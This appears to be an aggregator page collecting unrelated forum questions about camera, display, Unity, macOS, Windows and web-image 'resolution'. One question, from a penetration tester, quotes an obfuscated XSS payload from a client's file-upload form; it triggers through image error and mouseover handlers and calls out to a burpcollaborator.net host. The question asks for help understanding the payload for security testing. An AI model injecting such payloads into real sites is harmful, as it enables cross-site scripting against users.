resolution – How can I get the largest MB and highest picture quality from my Panasonic TZ100

I am an amateur (have been for many years) who is trying to take photos of jewellery for poster quality print at A2 size. The image of the jewellery needs to be able to look good at about 1/3 of the size of the poster. I am trying to work at the highest quality resolution and image size, so have experimented with taking images at the L setting as a high quality jpg, and shooting in RAW.
Issues I am coming up against is that, shooting as high quality jpg, the jpgs are ending up at about 3 or max 4MB and as I need to actually crop into the shot image to isolate the jewellery, that’s not good enough resolution.
In RAW, I am having to use the silky pix software to “develop” the RAW files into jpgs. I am not familiar with silkypix, but have ferretted through it and tried to find the options to save at highest resolution – I opted for the photo retouching setting and highest possible quality – and the file is now only 6MB.
I have opted for the TZ100 as I wanted a camera that would hopefully be relatively easy to use – and it comes with a 1inch 20MP sensor… so I thought I would be getting nice big files.
Can anyone suggest a solution? I have read the manual but it doesn’t say anywhere how large the files are that you can save at -just three settings, L, M or S for the jpg sizes, or RAW .
Have I got the wrong camera?
I have been trying to look online for info on the TZ100 but haven’t found any good resources that aren’t more than a basic overview or review.
I am thinking of looking at a photography course as well, but photographing jewellery is SUCH a tricky thing not many courses focus on this sort of thing.

Decoding burp XSS DNS resolution payload

I’m testing burp against a vulnerable application as part of work for my client. There was one successful xss payload related to DNS lookup which worked on form data at point of file-upload. Here is the part of payload

javascript:/*</script><img/onerror='-/"/-/ onmouseover=1/-/(`*/()/((new(Image)).src=(/;/+/7mu0war5msdjnc8auyu75qw2ntttht9h18p0cs0hX;.burpcollaborator.net/).replace(/.;/g,()))//'src=>
------WebKitFormBoundaryvITwh4thvzw75H3d
Content-Disposition: form-data; name="description"

The response is as as attached

I want help in deciphering of payload because it seems quite convoluted.
<img/onerror='-/"/-/
This is believe causing img tag to fail causing event-handler onerror to trigger but I don’t understand the use of '-/"/-/

onmouseover=1/-/(`*/()/

Similary, as error popups the victim moves his move over and this in return kicks of another event/action which is including src tag and loading external content which is replace with a regex like whatever is in src tag is replace with output of DNS resolution

I appreciate if someone can decode piece by piece how this payload is actually crafted thanks.

display – Two screens, same resolution, different PPI – which requires more power?

We have two screens/displays with the same resolution but different PPI (therefore different size). Which of those two displays will require more power to run. For the sake of argument consider the panels being the same technology.

Let’s say we have two phones :

iPhone 12 Mini: Screen size: 5.4″, Resolution: 1080x2340px, PPI: 476

Galaxy S10 Lite: Screen size: 6.7″, Resolution: 1080x2400px, PPI: 394

Is there going to be a big difference in power drawn just for the display or is the power difference marginal -> the PPI has no noticible effect on power usage when the resolution is the same.

My research only got me into questions about power usage of displays with different resolutions, which is NOT what I need to know. Another way of thinking about this question is when I have two 500×500 displays but one is 100 PPI and the other is 500 PPI – does PPI affect energy required?

platformer – How does Aspect Ratio and Resolution work in Unity?

I am trying to make progress in Unity on understanding how aspect ratios and resolution work. I can’t quite wrap my head around the topic. For example, I am trying to make a simple breakout style game, but in order to do that, I need to consider the world units and how each brick would fit into the scene. From what I have read, world units are dependent on screen resolution and aspect ratio. How would I be able to make something like this if mobile games are played on different devices (and ones with notches nonetheless). Also I’d like to know how to achieve this without using the tacky black bars that some games use.

Any information regarding this would be extremely appreciated.

resolution – What is Nineteen Megapixels minus Sixteen Megapixels?

The answer is simple: “Not a big deal”.

It’s obviously technically right to say “three megapixels, give or take”, but by itself that overstates the importance. 19 megapixels isn’t automatically 18.7% better — in fact, the real resolution may actually be worse in the real world, as there are so many other factors.

It’s hard to read minds, but I suspect this is what your brother was getting at.

macos – Mac external monitor’s resolution not detected properly

I want to setup a new external monitor which I have not yet used with an OSX system. On windows it was working perfectly fine.
I own a 2k monitor (2560×1440) but my Mac only detect it as a 1080p monitor, restarting and unplugging it serval times didn’t help either. Default for monitor is also not working.

Screenshot from settings

Set Default Desktop Resolution {Windows 10}

I have a Windows 10 laptop which off late has started behaving a bit oddly.

My desktop resolution on every restart changes to 1024 * 768 for some reason. I have a standard 1920 * 1080 display and I would like to be it that way. Every time it restarts it sets back to the old resolution.

Would like to know what can be done to set the default resolution back since there seems no explicit setting in the windows settings menu for this.

Device Specs:
HP 15 Series
Windows 10 Version 1909
OS.Build 18363.1139

domain name system – windows 10 localhost resolution slow

i am running a local python server on windows 10 and sending requests to it via the localhost domain are significantly slower than using 127.0.0.1. i have edited my hosts file and the problem occurs whether i have 127.0.0.1 localhost commented out or not (including ipv6 entry). if i use any other domain with an entry in my hosts file pointing to 127.0.0.1 then the problem goes away which proves that the hosts file is working correctly for all custom entries. i have tried flushing dns and various other commands to clear out any DNS caching to no avail.

even though localhost is defined in my functioning hosts file something is specifically hijacking the domain resolution and causing it to respond much slower than it should.

i realize there have been a number of posts about this issue but they all simply suggest using 127.0.0.1 instead which does not solve the problem or explain why it is happening.

web app – Image formats and resolution – for Low Bandwidth Web Apps

I have a Business Requirement for remote place system (app) accessibility of the web application.

More specifically,
The user of this application should be able to access this application from remote place where internet speed is limited (with 56kbps speed).
Major part of the application with user engagement is filling up an online form and placing few service requests. And, a small part of application has images.

Now, I am not sure on technical specs of the image to be used in such an app to meet the Business Requirement. (When I say technical specs – size, format, resolution) I am looking if there is any suggestion, or guidelines to get this through.

hdmi – External display switches to lower resolution and I need to restart my MacBook to fix it

My setup is the following:

  • macOS Catalina, version 10.15.7 (but this has been happening since before Catalina)
  • MacBook Pro (15-inch 2019)
  • AOC Q27P1 External display, connected via this USB C to HDMI cable

Display will work fine for some time, then it suddenly goes black for a couple of seconds and when it comes back on, it switches to a lower resolution for a seemingly random reason.

Here’s the Displays settings when the bug happens:

enter image description here

And here’s what I see after I restart the MacBook:

enter image description here

As you can see, the highest two resolutions disappear until I restart the MacBook. Where do you think could be the problem?